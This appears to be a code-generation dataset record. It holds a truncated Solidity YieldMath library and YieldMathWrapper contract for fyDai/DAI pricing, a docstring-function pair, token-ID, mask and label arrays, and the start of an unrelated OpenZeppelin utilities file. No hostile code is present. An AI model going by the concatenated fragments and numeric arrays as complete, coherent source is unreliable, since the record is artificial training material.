127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x1000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x800000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x400000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x200000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x100000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x80000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x40000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x20000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x10000000000000000;} /* Precision reduced to 64 bits b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x8000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x4000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x2000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x1000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x800000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x400000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x200000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x100000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x80000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x40000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x20000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x10000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x8000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x4000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x2000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x1000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x800000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x400000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x200000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x100000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x80000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x40000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x20000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x10000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x8000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x4000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x2000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x1000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x800000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x400000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x200000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x100000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x80000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x40000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x20000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x10000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x8000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x4000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x2000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x1000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x800000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x400000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x200000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x100000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x80000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x40000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x20000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x10000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x8000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x4000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x2000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x1000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x800;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x400;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x200;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x100;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x80;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x40;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x20;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x10;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x8;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x4;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x2;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) l |= 0x1; */ return uint128 (l); } /** * Calculate 2 raised into given power. * * @param x power to raise 2 into, multiplied by 2^121 * @return 2 raised into given power */ function pow_2 (uint128 x) internal pure returns (uint128) { uint r = 0x80000000000000000000000000000000; if (x & 0x1000000000000000000000000000000 > 0) r = r * 0xb504f333f9de6484597d89b3754abe9f >> 127; if (x & 0x800000000000000000000000000000 > 0) r = r * 0x9837f0518db8a96f46ad23182e42f6f6 >> 127; if (x & 0x400000000000000000000000000000 > 0) r = r * 0x8b95c1e3ea8bd6e6fbe4628758a53c90 >> 127; if (x & 0x200000000000000000000000000000 > 0) r = r * 0x85aac367cc487b14c5c95b8c2154c1b2 >> 127; if (x & 0x100000000000000000000000000000 > 0) r = r * 0x82cd8698ac2ba1d73e2a475b46520bff >> 127; if (x & 0x80000000000000000000000000000 > 0) r = r * 0x8164d1f3bc0307737be56527bd14def4 >> 127; if (x & 0x40000000000000000000000000000 > 0) r = r * 0x80b1ed4fd999ab6c25335719b6e6fd20 >> 127; if (x & 0x20000000000000000000000000000 > 0) r = r * 0x8058d7d2d5e5f6b094d589f608ee4aa2 >> 127; if (x & 0x10000000000000000000000000000 > 0) r = r * 0x802c6436d0e04f50ff8ce94a6797b3ce >> 127; if (x & 0x8000000000000000000000000000 > 0) r = r * 0x8016302f174676283690dfe44d11d008 >> 127; if (x & 0x4000000000000000000000000000 > 0) r = r * 0x800b179c82028fd0945e54e2ae18f2f0 >> 127; if (x & 0x2000000000000000000000000000 > 0) r = r * 0x80058baf7fee3b5d1c718b38e549cb93 >> 127; if (x & 0x1000000000000000000000000000 > 0) r = r * 0x8002c5d00fdcfcb6b6566a58c048be1f >> 127; if (x & 0x800000000000000000000000000 > 0) r = r * 0x800162e61bed4a48e84c2e1a463473d9 >> 127; if (x & 0x400000000000000000000000000 > 0) r = r * 0x8000b17292f702a3aa22beacca949013 >> 127; if (x & 0x200000000000000000000000000 > 0) r = r * 0x800058b92abbae02030c5fa5256f41fe >> 127; if (x & 0x100000000000000000000000000 > 0) r = r * 0x80002c5c8dade4d71776c0f4dbea67d6 >> 127; if (x & 0x80000000000000000000000000 > 0) r = r * 0x8000162e44eaf636526be456600bdbe4 >> 127; if (x & 0x40000000000000000000000000 > 0) r = r * 0x80000b1721fa7c188307016c1cd4e8b6 >> 127; if (x & 0x20000000000000000000000000 > 0) r = r * 0x8000058b90de7e4cecfc487503488bb1 >> 127; if (x & 0x10000000000000000000000000 > 0) r = r * 0x800002c5c8678f36cbfce50a6de60b14 >> 127; if (x & 0x8000000000000000000000000 > 0) r = r * 0x80000162e431db9f80b2347b5d62e516 >> 127; if (x & 0x4000000000000000000000000 > 0) r = r * 0x800000b1721872d0c7b08cf1e0114152 >> 127; if (x & 0x2000000000000000000000000 > 0) r = r * 0x80000058b90c1aa8a5c3736cb77e8dff >> 127; if (x & 0x1000000000000000000000000 > 0) r = r * 0x8000002c5c8605a4635f2efc2362d978 >> 127; if (x & 0x800000000000000000000000 > 0) r = r * 0x800000162e4300e635cf4a109e3939bd >> 127; if (x & 0x400000000000000000000000 > 0) r = r * 0x8000000b17217ff81bef9c551590cf83 >> 127; if (x & 0x200000000000000000000000 > 0) r = r * 0x800000058b90bfdd4e39cd52c0cfa27c >> 127; if (x & 0x100000000000000000000000 > 0) r = r * 0x80000002c5c85fe6f72d669e0e76e411 >> 127; if (x & 0x80000000000000000000000 > 0) r = r * 0x8000000162e42ff18f9ad35186d0df28 >> 127; if (x & 0x40000000000000000000000 > 0) r = r * 0x80000000b17217f84cce71aa0dcfffe7 >> 127; if (x & 0x20000000000000000000000 > 0) r = r * 0x8000000058b90bfc07a77ad56ed22aaa >> 127; if (x & 0x10000000000000000000000 > 0) r = r * 0x800000002c5c85fdfc23cdead40da8d6 >> 127; if (x & 0x8000000000000000000000 > 0) r = r * 0x80000000162e42fefc25eb1571853a66 >> 127; if (x & 0x4000000000000000000000 > 0) r = r * 0x800000000b17217f7d97f692baacded5 >> 127; if (x & 0x2000000000000000000000 > 0) r = r * 0x80000000058b90bfbead3b8b5dd254d7 >> 127; if (x & 0x1000000000000000000000 > 0) r = r * 0x8000000002c5c85fdf4eedd62f084e67 >> 127; if (x & 0x800000000000000000000 > 0) r = r * 0x800000000162e42fefa58aef378bf586 >> 127; if (x & 0x400000000000000000000 > 0) r = r * 0x8000000000b17217f7d24a78a3c7ef02 >> 127; if (x & 0x200000000000000000000 > 0) r = r * 0x800000000058b90bfbe9067c93e474a6 >> 127; if (x & 0x100000000000000000000 > 0) r = r * 0x80000000002c5c85fdf47b8e5a72599f >> 127; if (x & 0x80000000000000000000 > 0) r = r * 0x8000000000162e42fefa3bdb315934a2 >> 127; if (x & 0x40000000000000000000 > 0) r = r * 0x80000000000b17217f7d1d7299b49c46 >> 127; if (x & 0x20000000000000000000 > 0) r = r * 0x8000000000058b90bfbe8e9a8d1c4ea0 >> 127; if (x & 0x10000000000000000000 > 0) r = r * 0x800000000002c5c85fdf4745969ea76f >> 127; if (x & 0x8000000000000000000 > 0) r = r * 0x80000000000162e42fefa3a0df5373bf >> 127; if (x & 0x4000000000000000000 > 0) r = r * 0x800000000000b17217f7d1cff4aac1e1 >> 127; if (x & 0x2000000000000000000 > 0) r = r * 0x80000000000058b90bfbe8e7db95a2f1 >> 127; if (x & 0x1000000000000000000 > 0) r = r * 0x8000000000002c5c85fdf473e61ae1f8 >> 127; if (x & 0x800000000000000000 > 0) r = r * 0x800000000000162e42fefa39f121751c >> 127; if (x & 0x400000000000000000 > 0) r = r * 0x8000000000000b17217f7d1cf815bb96 >> 127; if (x & 0x200000000000000000 > 0) r = r * 0x800000000000058b90bfbe8e7bec1e0d >> 127; if (x & 0x100000000000000000 > 0) r = r * 0x80000000000002c5c85fdf473dee5f17 >> 127; if (x & 0x80000000000000000 > 0) r = r * 0x8000000000000162e42fefa39ef5438f >> 127; if (x & 0x40000000000000000 > 0) r = r * 0x80000000000000b17217f7d1cf7a26c8 >> 127; if (x & 0x20000000000000000 > 0) r = r * 0x8000000000000058b90bfbe8e7bcf4a4 >> 127; if (x & 0x10000000000000000 > 0) r = r * 0x800000000000002c5c85fdf473de72a2 >> 127; /* Precision reduced to 64 bits if (x & 0x8000000000000000 > 0) r = r * 0x80000000000000162e42fefa39ef3765 >> 127; if (x & 0x4000000000000000 > 0) r = r * 0x800000000000000b17217f7d1cf79b37 >> 127; if (x & 0x2000000000000000 > 0) r = r * 0x80000000000000058b90bfbe8e7bcd7d >> 127; if (x & 0x1000000000000000 > 0) r = r * 0x8000000000000002c5c85fdf473de6b6 >> 127; if (x & 0x800000000000000 > 0) r = r * 0x800000000000000162e42fefa39ef359 >> 127; if (x & 0x400000000000000 > 0) r = r * 0x8000000000000000b17217f7d1cf79ac >> 127; if (x & 0x200000000000000 > 0) r = r * 0x800000000000000058b90bfbe8e7bcd6 >> 127; if (x & 0x100000000000000 > 0) r = r * 0x80000000000000002c5c85fdf473de6a >> 127; if (x & 0x80000000000000 > 0) r = r * 0x8000000000000000162e42fefa39ef35 >> 127; if (x & 0x40000000000000 > 0) r = r * 0x80000000000000000b17217f7d1cf79a >> 127; if (x & 0x20000000000000 > 0) r = r * 0x8000000000000000058b90bfbe8e7bcd >> 127; if (x & 0x10000000000000 > 0) r = r * 0x800000000000000002c5c85fdf473de6 >> 127; if (x & 0x8000000000000 > 0) r = r * 0x80000000000000000162e42fefa39ef3 >> 127; if (x & 0x4000000000000 > 0) r = r * 0x800000000000000000b17217f7d1cf79 >> 127; if (x & 0x2000000000000 > 0) r = r * 0x80000000000000000058b90bfbe8e7bc >> 127; if (x & 0x1000000000000 > 0) r = r * 0x8000000000000000002c5c85fdf473de >> 127; if (x & 0x800000000000 > 0) r = r * 0x800000000000000000162e42fefa39ef >> 127; if (x & 0x400000000000 > 0) r = r * 0x8000000000000000000b17217f7d1cf7 >> 127; if (x & 0x200000000000 > 0) r = r * 0x800000000000000000058b90bfbe8e7b >> 127; if (x & 0x100000000000 > 0) r = r * 0x80000000000000000002c5c85fdf473d >> 127; if (x & 0x80000000000 > 0) r = r * 0x8000000000000000000162e42fefa39e >> 127; if (x & 0x40000000000 > 0) r = r * 0x80000000000000000000b17217f7d1cf >> 127; if (x & 0x20000000000 > 0) r = r * 0x8000000000000000000058b90bfbe8e7 >> 127; if (x & 0x10000000000 > 0) r = r * 0x800000000000000000002c5c85fdf473 >> 127; if (x & 0x8000000000 > 0) r = r * 0x80000000000000000000162e42fefa39 >> 127; if (x & 0x4000000000 > 0) r = r * 0x800000000000000000000b17217f7d1c >> 127; if (x & 0x2000000000 > 0) r = r * 0x80000000000000000000058b90bfbe8e >> 127; if (x & 0x1000000000 > 0) r = r * 0x8000000000000000000002c5c85fdf47 >> 127; if (x & 0x800000000 > 0) r = r * 0x800000000000000000000162e42fefa3 >> 127; if (x & 0x400000000 > 0) r = r * 0x8000000000000000000000b17217f7d1 >> 127; if (x & 0x200000000 > 0) r = r * 0x800000000000000000000058b90bfbe8 >> 127; if (x & 0x100000000 > 0) r = r * 0x80000000000000000000002c5c85fdf4 >> 127; if (x & 0x80000000 > 0) r = r * 0x8000000000000000000000162e42fefa >> 127; if (x & 0x40000000 > 0) r = r * 0x80000000000000000000000b17217f7d >> 127; if (x & 0x20000000 > 0) r = r * 0x8000000000000000000000058b90bfbe >> 127; if (x & 0x10000000 > 0) r = r * 0x800000000000000000000002c5c85fdf >> 127; if (x & 0x8000000 > 0) r = r * 0x80000000000000000000000162e42fef >> 127; if (x & 0x4000000 > 0) r = r * 0x800000000000000000000000b17217f7 >> 127; if (x & 0x2000000 > 0) r = r * 0x80000000000000000000000058b90bfb >> 127; if (x & 0x1000000 > 0) r = r * 0x8000000000000000000000002c5c85fd >> 127; if (x & 0x800000 > 0) r = r * 0x800000000000000000000000162e42fe >> 127; if (x & 0x400000 > 0) r = r * 0x8000000000000000000000000b17217f >> 127; if (x & 0x200000 > 0) r = r * 0x800000000000000000000000058b90bf >> 127; if (x & 0x100000 > 0) r = r * 0x80000000000000000000000002c5c85f >> 127; if (x & 0x80000 > 0) r = r * 0x8000000000000000000000000162e42f >> 127; if (x & 0x40000 > 0) r = r * 0x80000000000000000000000000b17217 >> 127; if (x & 0x20000 > 0) r = r * 0x8000000000000000000000000058b90b >> 127; if (x & 0x10000 > 0) r = r * 0x800000000000000000000000002c5c85 >> 127; if (x & 0x8000 > 0) r = r * 0x80000000000000000000000000162e42 >> 127; if (x & 0x4000 > 0) r = r * 0x800000000000000000000000000b1721 >> 127; if (x & 0x2000 > 0) r = r * 0x80000000000000000000000000058b90 >> 127; if (x & 0x1000 > 0) r = r * 0x8000000000000000000000000002c5c8 >> 127; if (x & 0x800 > 0) r = r * 0x800000000000000000000000000162e4 >> 127; if (x & 0x400 > 0) r = r * 0x8000000000000000000000000000b172 >> 127; if (x & 0x200 > 0) r = r * 0x800000000000000000000000000058b9 >> 127; if (x & 0x100 > 0) r = r * 0x80000000000000000000000000002c5c >> 127; if (x & 0x80 > 0) r = r * 0x8000000000000000000000000000162e >> 127; if (x & 0x40 > 0) r = r * 0x80000000000000000000000000000b17 >> 127; if (x & 0x20 > 0) r = r * 0x8000000000000000000000000000058b >> 127; if (x & 0x10 > 0) r = r * 0x800000000000000000000000000002c5 >> 127; if (x & 0x8 > 0) r = r * 0x80000000000000000000000000000162 >> 127; if (x & 0x4 > 0) r = r * 0x800000000000000000000000000000b1 >> 127; if (x & 0x2 > 0) r = r * 0x80000000000000000000000000000058 >> 127; if (x & 0x1 > 0) r = r * 0x8000000000000000000000000000002c >> 127; */ r >>= 127 - (x >> 121); return uint128 (r); } } /** * Wrapper for Yield Math Smart Contract Library, with return values for reverts. */ contract YieldMathWrapper { /** * Calculate the amount of fyDai a user would get for given amount of DAI. * * @param daiReserves DAI reserves amount * @param fyDaiReserves fyDai reserves amount * @param daiAmount DAI amount to be traded * @param timeTillMaturity time till maturity in seconds * @param k time till maturity coefficient, multiplied by 2^64 * @param g fee coefficient, multiplied by 2^64 * @return the amount of fyDai a user would get for given amount of DAI */ function fyDaiOutForDaiIn ( uint128 daiReserves, uint128 fyDaiReserves, uint128 daiAmount, uint128 timeTillMaturity, int128 k, int128 g) public pure returns (bool, uint128) { return ( true, YieldMath.fyDaiOutForDaiIn ( daiReserves, fyDaiReserves, daiAmount, timeTillMaturity, k, g)); } /** * Calculate the amount of DAI a user would get for certain amount of fyDai. * * @param daiReserves DAI reserves amount * @param fyDaiReserves fyDai reserves amount * @param fyDaiAmount fyDai amount to be traded * @param timeTillMaturity time till maturity in seconds * @param k time till maturity coefficient, multiplied by 2^64 * @param g fee coefficient, multiplied by 2^64 * @return the amount of DAI a user would get for given amount of fyDai */ function daiOutForFYDaiIn ( uint128 daiReserves, uint128 fyDaiReserves, uint128 fyDaiAmount, uint128 timeTillMaturity, int128 k, int128 g) public pure returns (bool, uint128) { return ( true, YieldMath.daiOutForFYDaiIn ( daiReserves, fyDaiReserves, fyDaiAmount, timeTillMaturity, k, g)); } /** * Calculate the amount of fyDai a user could sell for given amount of DAI. * * @param daiReserves DAI reserves amount * @param fyDaiReserves fyDai reserves amount * @param daiAmount DAI amount to be traded * @param timeTillMaturity time till maturity in seconds * @param k time till maturity coefficient, multiplied by 2^64 * @param g fee coefficient, multiplied by 2^64 * @return the amount of fyDai a user could sell for given amount of DAI */ function fyDaiInForDaiOut ( uint128 daiReserves, uint128 fyDaiReserves, uint128 daiAmount, uint128 timeTillMaturity, int128 k, int128 g) public pure returns (bool, uint128) { return ( true, YieldMath.fyDaiInForDaiOut ( daiReserves, fyDaiReserves, daiAmount, timeTillMaturity, k, g)); } /** * Calculate the amount of DAI a user would have to pay for certain amount of * fyDai. * * @param daiReserves DAI reserves amount * @param fyDaiReserves fyDai reserves amount * @param fyDaiAmount fyDai amount to be traded * @param timeTillMaturity time till maturity in seconds * @param k time till maturity coefficient, multiplied by 2^64 * @param g fee coefficient, multiplied by 2^64 * @return the amount of DAI a user would have to pay for given amount of * fyDai */ function daiInForFYDaiOut ( uint128 daiReserves, uint128 fyDaiReserves, uint128 fyDaiAmount, uint128 timeTillMaturity, int128 k, int128 g) public pure returns (bool, uint128) { return ( true, YieldMath.daiInForFYDaiOut ( daiReserves, fyDaiReserves, fyDaiAmount, timeTillMaturity, k, g)); } }
* Calculate the amount of fyDai a user would get for given amount of DAI. @param daiReserves DAI reserves amount @param fyDaiReserves fyDai reserves amount @param daiAmount DAI amount to be traded @param timeTillMaturity time till maturity in seconds @param k time till maturity coefficient, multiplied by 2^64 @param g fee coefficient, multiplied by 2^64 @return the amount of fyDai a user would get for given amount of DAI/
public pure returns (bool, uint128) { return ( true, YieldMath.fyDaiOutForDaiIn ( daiReserves, fyDaiReserves, daiAmount, timeTillMaturity, k, g)); }
1,631,400
[ 1, 8695, 326, 3844, 434, 28356, 40, 10658, 279, 729, 4102, 336, 364, 864, 3844, 434, 463, 18194, 18, 225, 5248, 77, 607, 264, 3324, 463, 18194, 400, 264, 3324, 3844, 225, 28356, 40, 10658, 607, 264, 3324, 28356, 40, 10658, 400, 264, 3324, 3844, 225, 5248, 77, 6275, 463, 18194, 3844, 358, 506, 1284, 785, 225, 813, 56, 737, 15947, 2336, 813, 21364, 29663, 316, 3974, 225, 417, 813, 21364, 29663, 16554, 16, 27789, 635, 576, 66, 1105, 225, 314, 14036, 16554, 16, 27789, 635, 576, 66, 1105, 327, 326, 3844, 434, 28356, 40, 10658, 279, 729, 4102, 336, 364, 864, 3844, 434, 463, 18194, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 1071, 16618, 1135, 261, 6430, 16, 2254, 10392, 13, 288, 203, 565, 327, 261, 203, 1377, 638, 16, 203, 1377, 31666, 10477, 18, 74, 93, 40, 10658, 1182, 1290, 40, 10658, 382, 261, 203, 3639, 5248, 77, 607, 264, 3324, 16, 28356, 40, 10658, 607, 264, 3324, 16, 5248, 77, 6275, 16, 813, 56, 737, 15947, 2336, 16, 417, 16, 314, 10019, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as 